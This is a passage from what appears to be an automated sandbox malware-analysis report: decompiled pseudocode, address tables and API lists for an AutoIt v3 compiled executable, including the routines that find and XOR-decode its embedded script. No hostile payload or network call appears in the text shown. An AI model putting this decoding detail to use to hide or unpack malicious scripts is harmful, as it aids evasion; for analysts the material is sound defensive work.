							_push(1);
							_push(1);
							_push( *_t84); // executed
							E0041557C(_t60, _t75, _t83, _t84, _t94); // executed
							_t93 = _t92 + 0xc;
							E004151B0(_t93 + 0x24, 4, 1,  *_t84);
							_t55 =  *(_t93 + 0x2c) ^ 0x000087bc;
							 *(_t93 + 0x2c) = _t55;
							_push(1);
							_push(_t55 + 0x18);
							_push( *_t84); // executed
							E0041557C(_t60, _t93 + 0x24, _t83, _t84, _t94); // executed
							_t86 = _t93 + 0x1c;
							continue;
						} else {
							_t94 = _t85;
							if(_t85 == 0) {
								goto L6;
							} else {
								goto L5;
							}
						}
					}
					L8:
				}
				return 6;
				goto L8;
			}

























                                                                                                                                                                            0x004523d7
                                                                                                                                                                            0x004523df
                                                                                                                                                                            0x004523df
                                                                                                                                                                            0x004523e1
                                                                                                                                                                            0x004523ed
                                                                                                                                                                            0x004523f2
                                                                                                                                                                            0x004523f5
                                                                                                                                                                            0x00452401
                                                                                                                                                                            0x00452410
                                                                                                                                                                            0x00452415
                                                                                                                                                                            0x0045241a
                                                                                                                                                                            0x0045241d
                                                                                                                                                                            0x0045241f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00452431
                                                                                                                                                                            0x00452432
                                                                                                                                                                            0x0045243e
                                                                                                                                                                            0x00452444
                                                                                                                                                                            0x0045244f
                                                                                                                                                                            0x00452454
                                                                                                                                                                            0x0045245d
                                                                                                                                                                            0x00452464
                                                                                                                                                                            0x00452478
                                                                                                                                                                            0x0045247d
                                                                                                                                                                            0x0045248e
                                                                                                                                                                            0x0045249a
                                                                                                                                                                            0x004524a0
                                                                                                                                                                            0x004524ab
                                                                                                                                                                            0x004524b0
                                                                                                                                                                            0x004524b9
                                                                                                                                                                            0x004524c0
                                                                                                                                                                            0x004524d4
                                                                                                                                                                            0x004524d9
                                                                                                                                                                            0x004524de
                                                                                                                                                                            0x004524e5
                                                                                                                                                                            0x004524ee
                                                                                                                                                                            0x004524f3
                                                                                                                                                                            0x004524f8
                                                                                                                                                                            0x00452553
                                                                                                                                                                            0x00452553
                                                                                                                                                                            0x0045255f
                                                                                                                                                                            0x004524fa
                                                                                                                                                                            0x00452500
                                                                                                                                                                            0x00452505
                                                                                                                                                                            0x0045250a
                                                                                                                                                                            0x00452510
                                                                                                                                                                            0x00452512
                                                                                                                                                                            0x00452514
                                                                                                                                                                            0x00452516
                                                                                                                                                                            0x00452517
                                                                                                                                                                            0x0045251e
                                                                                                                                                                            0x0045252b
                                                                                                                                                                            0x00452534
                                                                                                                                                                            0x00452539
                                                                                                                                                                            0x00452540
                                                                                                                                                                            0x00452542
                                                                                                                                                                            0x00452545
                                                                                                                                                                            0x00452546
                                                                                                                                                                            0x0045254b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045250c
                                                                                                                                                                            0x0045250c
                                                                                                                                                                            0x0045250e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045250e
                                                                                                                                                                            0x0045250a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004524f8
                                                                                                                                                                            0x00452571
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __fread_nolock$_fseek_wcscpy
                                                                                                                                                                            • String ID: FILE
                                                                                                                                                                            • API String ID: 3888824918-3121273764
                                                                                                                                                                            • Opcode ID: 2c51ca11d99fd42056b85d56bedd6133204293bcfd41657c21c2b6678087f52d
                                                                                                                                                                            • Instruction ID: c0f9aeb359a44d31a21a8716142a7f32772eb03c7b5129f1ec28ea3a2d041f76
                                                                                                                                                                            • Opcode Fuzzy Hash: 2c51ca11d99fd42056b85d56bedd6133204293bcfd41657c21c2b6678087f52d
                                                                                                                                                                            • Instruction Fuzzy Hash: D541EFB1504300BBD310EB55CC81FEB73A9AFC8718F54491EFA8457181F679E644C7AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004101F0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74windowregistryCOMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E004101F0() {
				struct _WNDCLASSEXW _v52;
				struct HICON__* _t18;
				struct HICON__* _t19;
				intOrPtr _t21;
				void* _t22;
				short _t23;
				void* _t24;
				struct HICON__* _t28;
				struct HICON__* _t29;
				struct HBRUSH__* _t34;
				struct HICON__* _t36;

				_t34 = GetSysColorBrush(0xf);
				_t36 = LoadCursorW(0, 0x7f00);
				_t18 = LoadIconW( *0x4972c8, 0x63); // executed
				 *0x4a7ce8 = _t18; // executed
				_t19 = LoadIconW( *0x4972c8, 0xa4); // executed
				 *0x4a7cf0 = _t19;
				 *0x4a7cf4 = LoadIconW( *0x4972c8, 0xa2);
				_t21 =  *0x4a939c; // 0x2f02e00
				if( *((intOrPtr*)(_t21 + 0x1f)) == 0) {
					_t22 = E00443E8F(4);
				} else {
					_t22 = LoadImageW( *0x4972c8, 0x63, 1, 0x10, 0x10, 0);
				}
				_t28 =  *0x4a7ce8; // 0x30201
				_v52.hInstance =  *0x4972c8;
				 *0x4a7cec = _t22;
				_v52.cbSize = 0x30;
				_v52.style = 0x23;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hCursor = _t36;
				_v52.hbrBackground = _t34;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = L"AutoIt v3";
				_v52.hIcon = _t28;
				_v52.hIconSm = _t22;
				_v52.lpfnWndProc = E004010D0;
				_t23 = RegisterClassExW( &_v52);
				_t29 =  *0x4a7ce8; // 0x30201
				 *0x49728c = _t23;
				_t24 =  *0x4a7cec; // 0x40343
				return E004102F0(_t29, _t24);
			}














                                                                                                                                                                            0x00410207
                                                                                                                                                                            0x00410215
                                                                                                                                                                            0x0041021f
                                                                                                                                                                            0x0041022d
                                                                                                                                                                            0x00410232
                                                                                                                                                                            0x00410240
                                                                                                                                                                            0x00410247
                                                                                                                                                                            0x0041024c
                                                                                                                                                                            0x00410254
                                                                                                                                                                            0x0042b9d5
                                                                                                                                                                            0x0041025a
                                                                                                                                                                            0x0041026a
                                                                                                                                                                            0x0041026a
                                                                                                                                                                            0x00410276
                                                                                                                                                                            0x0041027c
                                                                                                                                                                            0x00410285
                                                                                                                                                                            0x0041028a
                                                                                                                                                                            0x00410292
                                                                                                                                                                            0x0041029a
                                                                                                                                                                            0x0041029e
                                                                                                                                                                            0x004102a2
                                                                                                                                                                            0x004102a6
                                                                                                                                                                            0x004102aa
                                                                                                                                                                            0x004102ae
                                                                                                                                                                            0x004102b6
                                                                                                                                                                            0x004102ba
                                                                                                                                                                            0x004102be
                                                                                                                                                                            0x004102c6
                                                                                                                                                                            0x004102cc
                                                                                                                                                                            0x004102d2
                                                                                                                                                                            0x004102d8
                                                                                                                                                                            0x004102eb

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                            • LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                            • LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                            • LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                            • LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                            • RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                              • Part of subcall function 004102F0: GetSysColorBrush.USER32 ref: 00410326
                                                                                                                                                                              • Part of subcall function 004102F0: RegisterClassExW.USER32 ref: 00410359
                                                                                                                                                                              • Part of subcall function 004102F0: RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 0041036A
                                                                                                                                                                              • Part of subcall function 004102F0: LoadIconW.USER32(00400000,000000A9), ref: 004103B1
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Load$Icon$Register$BrushClassColor$ClipboardCursorFormatImage
                                                                                                                                                                            • String ID: #$0$PGH
                                                                                                                                                                            • API String ID: 2880975755-3673556320
                                                                                                                                                                            • Opcode ID: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                            • Instruction ID: 6be78a7d21e01e6533eb66d2751721d4fd39e3055bf34e10baa21603515e7cea
                                                                                                                                                                            • Opcode Fuzzy Hash: 1033d1e55498f891403c4089579710d7d6683e73571bc8446147a2c837657170
                                                                                                                                                                            • Instruction Fuzzy Hash: 60216DB5A18300AFD310CF59EC84A4A7FE4FB99710F00497FF648972A0D7B599408B99
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00452574 Relevance: 13.7, APIs: 9, Instructions: 171COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            C-Code - Quality: 73%
                                                                                                                                                                            			E00452574(void* __eflags, intOrPtr* _a4, intOrPtr _a8, signed int* _a16) {
				void* _v16;
				char _v532;
				short _v552;
				void* _v580;
				short _v1102;
				void* _v1130;
				short _v1624;
				short _v1628;
				short _v1632;
				short _v1636;
				short _v1640;
				short _v1644;
				short _v1648;
				short _v1652;
				short _v1656;
				short _v1660;
				signed int _v1664;
				short _v1668;
				intOrPtr _v1672;
				signed int _v1676;
				char _v1680;
				void* _v1684;
				signed int _v1688;
				void* _v1689;
				intOrPtr _v1692;
				void* _v1700;
				void* _v1704;
				void* _v1705;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t70;
				void* _t108;
				signed int _t110;
				intOrPtr* _t111;
				signed int* _t112;
				signed int _t113;
				void* _t115;
				void* _t120;

				_t112 = _a16;
				_t111 = _a4;
				_push(0);
				_v1624 = 0;
				_push( *((intOrPtr*)(_t111 + 4)));
				_push( *_t111);
				_v1660 = 0;
				_v1656 = 0;
				_v1652 = 0;
				_v1648 = 0;
				_v1644 = 0;
				_v1640 = 0;
				_v1636 = 0;
				_v1632 = 0;
				_v1628 = 0;
				_v1102 = 0;
				_v552 = 0;
				_v1668 = 1;
				E0041557C(0,  *((intOrPtr*)(_t111 + 4)), _t108, _t111, __eflags); // executed
				_t115 =  &_v1684 + 0xc;
				_push( &_v532);
				_push(_a8);
				_push(_t111);
				if(E004523CE() == 0) {
					E004151B0(_t115 + 0x1f, 1, 1,  *_t111);
					E004151B0( &_v1676, 4, 1,  *_t111);
					_t110 = _v1676 ^ 0x000087bc;
					E004151B0( &_v1676, 4, 1,  *_t111);
					_t103 =  &_v1676;
					 *_t112 = _v1676 ^ 0x000087bc;
					E004151B0( &_v1676, 4, 1,  *_t111);
					_push(1);
					_v1664 = _v1676 ^ 0x0000a685;
					_push(0x10);
					_push( *_t111); // executed
					E0041557C(0,  &_v1676, _t110, _t111, __eflags); // executed
					_v1672 = E004138BA(0,  &_v1676, _t110,  *_t112);
					_t70 = E004138BA(0, _t103, _t110, _t110); // executed
					_t113 = _t70;
					E004151B0(_t113, _t110, 1,  *_t111);
					_t120 = _t115 + 0x64;
					_push( *((intOrPtr*)(_t111 + 8)) + 0x2477);
					E0044AFDC( *_t112, __eflags, _t113, _t110);
					_push(_t110);
					_push(_t113);
					_push( &_v1680);
					E0043535D();
					_t105 = _v1688;
					__eflags = _v1688 - _v1692;
					if(__eflags == 0) {
						__eflags =  *((char*)(_t120 + 0x17)) - 1;
						if(__eflags != 0) {
							_push(_v1688);
							E00413A88(0, _v1688, _t110, _t111, __eflags);
							_v1688 = _t113;
						} else {
							_v1640 = 0;
							_v1656 = 1;
							_v1652 = 1;
							_v1668 = 0;
							_v1664 = 0;
							_v1660 = 0;
							_v1648 = 0;
							_v1644 = 0;
							 *((short*)(_t120 + 0x25a)) = 0;
							 *((intOrPtr*)(_t120 + 0x480)) = 0;
							_v1672 = _t113;
							_v1676 = _v1688;
							E0044B195(0, _t110, _t113,  &_v1676);
							_push(_t113); // executed
							E00413A88(0, 0, _t110, _t111, __eflags); // executed
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t120 + 0x6b4)))) = _v1688;
						__eflags = 0;
						return 0;
					} else {
						_push(_v1688);
						E00413A88(0, _t105, _t110, _t111, __eflags);
						_push(_t113);
						E00413A88(0, _t105, _t110, _t111, __eflags);
						return 0xa;
					}
				} else {
					return 6;
				}
			}











































                                                                                                                                                                            0x0045257e
                                                                                                                                                                            0x00452586
                                                                                                                                                                            0x00452593
                                                                                                                                                                            0x00452594
                                                                                                                                                                            0x0045259b
                                                                                                                                                                            0x0045259e
                                                                                                                                                                            0x0045259f
                                                                                                                                                                            0x004525a3
                                                                                                                                                                            0x004525a7
                                                                                                                                                                            0x004525ab
                                                                                                                                                                            0x004525af
                                                                                                                                                                            0x004525b3
                                                                                                                                                                            0x004525b7
                                                                                                                                                                            0x004525bb
                                                                                                                                                                            0x004525bf
                                                                                                                                                                            0x004525c3
                                                                                                                                                                            0x004525cb
                                                                                                                                                                            0x004525d2
                                                                                                                                                                            0x004525da
                                                                                                                                                                            0x004525e6
                                                                                                                                                                            0x004525f0
                                                                                                                                                                            0x004525f1
                                                                                                                                                                            0x004525f2
                                                                                                                                                                            0x004525fa
                                                                                                                                                                            0x00452618
                                                                                                                                                                            0x00452629
                                                                                                                                                                            0x0045263e
                                                                                                                                                                            0x00452644
                                                                                                                                                                            0x00452652
                                                                                                                                                                            0x0045265e
                                                                                                                                                                            0x00452661
                                                                                                                                                                            0x00452672
                                                                                                                                                                            0x00452674
                                                                                                                                                                            0x0045267a
                                                                                                                                                                            0x0045267c
                                                                                                                                                                            0x0045267d
                                                                                                                                                                            0x00452692
                                                                                                                                                                            0x00452696
                                                                                                                                                                            0x004526a3
                                                                                                                                                                            0x004526a7
                                                                                                                                                                            0x004526af
                                                                                                                                                                            0x004526b7
                                                                                                                                                                            0x004526ba
                                                                                                                                                                            0x004526bf
                                                                                                                                                                            0x004526c0
                                                                                                                                                                            0x004526c5
                                                                                                                                                                            0x004526c6
                                                                                                                                                                            0x004526cb
                                                                                                                                                                            0x004526cf
                                                                                                                                                                            0x004526d3
                                                                                                                                                                            0x004526fd
                                                                                                                                                                            0x00452702
                                                                                                                                                                            0x0045275f
                                                                                                                                                                            0x00452760
                                                                                                                                                                            0x00452765
                                                                                                                                                                            0x00452704
                                                                                                                                                                            0x0045270b
                                                                                                                                                                            0x00452710
                                                                                                                                                                            0x00452714
                                                                                                                                                                            0x00452723
                                                                                                                                                                            0x00452727
                                                                                                                                                                            0x0045272b
                                                                                                                                                                            0x0045272f
                                                                                                                                                                            0x00452733
                                                                                                                                                                            0x00452737
                                                                                                                                                                            0x0045273f
                                                                                                                                                                            0x00452746
                                                                                                                                                                            0x0045274a
                                                                                                                                                                            0x0045274e
                                                                                                                                                                            0x00452753
                                                                                                                                                                            0x00452754
                                                                                                                                                                            0x00452754
                                                                                                                                                                            0x0045277a
                                                                                                                                                                            0x0045277c
                                                                                                                                                                            0x00452785
                                                                                                                                                                            0x004526d5
                                                                                                                                                                            0x004526d9
                                                                                                                                                                            0x004526da
                                                                                                                                                                            0x004526e2
                                                                                                                                                                            0x004526e3
                                                                                                                                                                            0x004526fa
                                                                                                                                                                            0x004526fa
                                                                                                                                                                            0x004525fc
                                                                                                                                                                            0x00452609
                                                                                                                                                                            0x00452609

                                                                                                                                                                            APIs
                                                                                                                                                                            • _fseek.LIBCMT ref: 004525DA
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                              • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                              • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                              • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452618
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452629
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452644
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 00452661
                                                                                                                                                                            • _fseek.LIBCMT ref: 0045267D
                                                                                                                                                                            • _malloc.LIBCMT ref: 00452689
                                                                                                                                                                            • _malloc.LIBCMT ref: 00452696
                                                                                                                                                                            • __fread_nolock.LIBCMT ref: 004526A7
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __fread_nolock$_fseek_malloc_wcscpy
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1911931848-0
                                                                                                                                                                            • Opcode ID: 9eba2655f4ad2b4d2b580310090bc0fed5cb97565a3adb9b68762054f368a028
                                                                                                                                                                            • Instruction ID: daf5751c9f96f1f9c2235ce4d63c31b1673d17b5fb5ed0b9a51dc370059b243a
                                                                                                                                                                            • Opcode Fuzzy Hash: 9eba2655f4ad2b4d2b580310090bc0fed5cb97565a3adb9b68762054f368a028
                                                                                                                                                                            • Instruction Fuzzy Hash: 47514CB1A08340AFD310DF5AD881A9BF7E9FFC8704F40492EF68887241D77AE5448B5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040F450 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 126COMMON
                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                            • Executed
                                                                                                                                                                            • Not Executed
                                                                                                                                                                            control_flow_graph 677 40f450-40f45c call 425210 680 40f460-40f478 677->680 680->680 681 40f47a-40f4a8 call 413990 call 410f70 680->681 686 40f4b0-40f4d1 call 4151b0 681->686 689 40f531 686->689 690 40f4d3-40f4da 686->690 691 40f536-40f540 689->691 692 40f4dc-40f4de 690->692 693 40f4fd-40f517 call 41557c 690->693 694 40f4e0-40f4e2 692->694 697 40f51c-40f51f 693->697 696 40f4e6-40f4ed 694->696 698 40f521-40f52c 696->698 699 40f4ef-40f4f2 696->699 697->686 700 40f543-40f54e 698->700 701 40f52e-40f52f 698->701 702 42937a-4293a0 call 41557c call 4151b0 699->702 703 40f4f8-40f4fb 699->703 704 40f550-40f553 700->704 705 40f555-40f560 700->705 701->699 713 4293a5-4293c3 call 4151d0 702->713 703->693 703->694 704->699 707 429372 705->707 708 40f566-40f571 705->708 707->702 711 429361-429367 708->711 712 40f577-40f57a 708->712 711->696 714 42936d 711->714 712->699 713->691 714->707
                                                                                                                                                                            C-Code - Quality: 85%
                                                                                                                                                                            			E0040F450(intOrPtr __ebx, void* __edi, void* __esi) {
				void* __ebp;
				void* _t52;
				void* _t57;
				signed int _t58;
				signed int _t69;
				void* _t79;
				void* _t86;
				void* _t89;
				void* _t91;
				void* _t92;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t100;

				_t92 = __esi;
				_t89 = __edi;
				_t72 = __ebx;
				E00425210(0x10020);
				_t52 = 0;
				do {
					_t1 = _t52 + 0x492380; // 0xbe4b48a3
					_t2 = _t52 + 0x492378; // 0xa534c99
					 *((char*)(_t98 + _t52 + 0xc)) =  *_t1;
					 *((char*)(_t98 + _t52 + 0x14)) =  *_t2;
					_t52 = _t52 + 1;
				} while (_t52 < 8);
				E00413990(_t98, "AU3!");
				E00410F70(__ebx, __edi, __esi, _t98 + 0x2c, _t98 + 0xc, 4);
				_t99 = _t98 + 0x14;
				_push(_t72);
				_push(_t92);
				 *((intOrPtr*)(_t99 + 0x14)) = 0;
				_push(_t89);
				while(1) {
					_t57 = E004151B0(_t99 + 0x38, 1, 0x10000,  *((intOrPtr*)( *((intOrPtr*)(_t99 + 0x10034))))); // executed
					_t100 = _t99 + 0x10;
					if(_t57 < 0x18) {
						break;
					}
					_t97 = _t57;
					_t12 = _t97 - 0x14; // -20
					_t91 = _t12;
					if(_t91 <= 0) {
						L10:
						_push(1);
						_push(0xffffffec);
						_push( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0x10034)))));
						 *((intOrPtr*)(_t100 + 0x24)) =  *((intOrPtr*)(_t100 + 0x18)) + _t97 - 0x14;
						E0041557C(_t72,  *((intOrPtr*)(_t100 + 0x18)) + _t97 - 0x14, _t91, _t92, _t110); // executed
						_t99 = _t100 + 0xc;
						continue;
					} else {
						_t86 = 0;
						do {
							_t79 = 0;
							_t92 = _t100 + _t86 + 0x30;
							while( *((intOrPtr*)(_t100 + _t79 + 0x1c)) ==  *((intOrPtr*)(_t92 + _t79))) {
								_t72 =  *((intOrPtr*)(_t100 + _t79 + 0x1d));
								__eflags =  *((intOrPtr*)(_t100 + _t79 + 0x1d)) -  *((intOrPtr*)(_t100 + _t79 + _t86 + 0x31));
								if(__eflags == 0) {
									_t72 =  *((intOrPtr*)(_t100 + _t79 + 0x1e));
									__eflags =  *((intOrPtr*)(_t100 + _t79 + 0x1e)) -  *((intOrPtr*)(_t100 + _t79 + _t86 + 0x32));
									if(__eflags == 0) {
										_t72 =  *((intOrPtr*)(_t100 + _t79 + 0x1f));
										__eflags =  *((intOrPtr*)(_t100 + _t79 + 0x1f)) -  *((intOrPtr*)(_t100 + _t79 + _t86 + 0x33));
										if(__eflags != 0) {
											_t79 = _t79 + 3;
											break;
										} else {
											_t72 =  *((intOrPtr*)(_t100 + _t79 + 0x20));
											__eflags =  *((intOrPtr*)(_t100 + _t79 + 0x20)) -  *((intOrPtr*)(_t100 + _t79 + _t86 + 0x34));
											if(__eflags == 0) {
												_t79 = _t79 + 5;
												__eflags = _t79 - 0x14;
												if(__eflags < 0) {
													continue;
												} else {
													break;
												}
											} else {
												_t79 = _t79 + 4;
												break;
											}
										}
									} else {
										_t79 = _t79 + 2;
										break;
									}
								} else {
									_t79 = _t79 + 1;
									break;
								}
								L24:
							}
							if(_t79 == 0x14) {
								_t94 =  *((intOrPtr*)(_t100 + 0x10034));
								_push(0);
								_push( *((intOrPtr*)(_t100 + 0x18)) + _t86 + 0x14);
								_push( *( *((intOrPtr*)(_t100 + 0x10034)))); // executed
								E0041557C(_t72,  *( *((intOrPtr*)(_t100 + 0x10034))), _t91,  *((intOrPtr*)(_t100 + 0x10034)), __eflags); // executed
								E004151B0(_t100 + 0x24, 1, 4,  *_t94); // executed
								 *((char*)(_t100 + 0x38)) = 0;
								_t69 = E004151D0(_t100 + 0x2c, "EA06");
								_t100 = _t100 + 0x24;
								asm("sbb eax, eax");
								_t58 =  ~_t69 & 0x00000004;
							} else {
								goto L9;
							}
							goto L14;
							L9:
							_t86 = _t86 + 1;
							_t110 = _t86 - _t91;
						} while (_t86 < _t91);
						goto L10;
					}
					L14:
					return _t58;
					goto L24;
				}
				_t58 = 3;
				goto L14;
			}

















                                                                                                                                                                            0x0040f450
                                                                                                                                                                            0x0040f450
                                                                                                                                                                            0x0040f450
                                                                                                                                                                            0x0040f455
                                                                                                                                                                            0x0040f45a
                                                                                                                                                                            0x0040f460
                                                                                                                                                                            0x0040f460
                                                                                                                                                                            0x0040f466
                                                                                                                                                                            0x0040f46c
                                                                                                                                                                            0x0040f470
                                                                                                                                                                            0x0040f474
                                                                                                                                                                            0x0040f475
                                                                                                                                                                            0x0040f483
                                                                                                                                                                            0x0040f494
                                                                                                                                                                            0x0040f499
                                                                                                                                                                            0x0040f49c
                                                                                                                                                                            0x0040f49e
                                                                                                                                                                            0x0040f49f
                                                                                                                                                                            0x0040f4a7
                                                                                                                                                                            0x0040f4b0
                                                                                                                                                                            0x0040f4c6
                                                                                                                                                                            0x0040f4cb
                                                                                                                                                                            0x0040f4d1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f4d3
                                                                                                                                                                            0x0040f4d5
                                                                                                                                                                            0x0040f4d5
                                                                                                                                                                            0x0040f4da
                                                                                                                                                                            0x0040f4fd
                                                                                                                                                                            0x0040f50e
                                                                                                                                                                            0x0040f510
                                                                                                                                                                            0x0040f512
                                                                                                                                                                            0x0040f513
                                                                                                                                                                            0x0040f517
                                                                                                                                                                            0x0040f51c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f4dc
                                                                                                                                                                            0x0040f4dc
                                                                                                                                                                            0x0040f4e0
                                                                                                                                                                            0x0040f4e0
                                                                                                                                                                            0x0040f4e2
                                                                                                                                                                            0x0040f4e6
                                                                                                                                                                            0x0040f521
                                                                                                                                                                            0x0040f528
                                                                                                                                                                            0x0040f52c
                                                                                                                                                                            0x0040f543
                                                                                                                                                                            0x0040f54a
                                                                                                                                                                            0x0040f54e
                                                                                                                                                                            0x0040f555
                                                                                                                                                                            0x0040f55c
                                                                                                                                                                            0x0040f560
                                                                                                                                                                            0x00429372
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f566
                                                                                                                                                                            0x0040f566
                                                                                                                                                                            0x0040f56d
                                                                                                                                                                            0x0040f571
                                                                                                                                                                            0x00429361
                                                                                                                                                                            0x00429364
                                                                                                                                                                            0x00429367
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042936d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042936d
                                                                                                                                                                            0x0040f577
                                                                                                                                                                            0x0040f577
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f577
                                                                                                                                                                            0x0040f571
                                                                                                                                                                            0x0040f550
                                                                                                                                                                            0x0040f550
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f550
                                                                                                                                                                            0x0040f52e
                                                                                                                                                                            0x0040f52e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f52e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040f52c
                                                                                                                                                                            0x0040f4f2
                                                                                                                                                                            0x0042937e
                                                                                                                                                                            0x0042938b
                                                                                                                                                                            0x0042938d
                                                                                                                                                                            0x0042938e
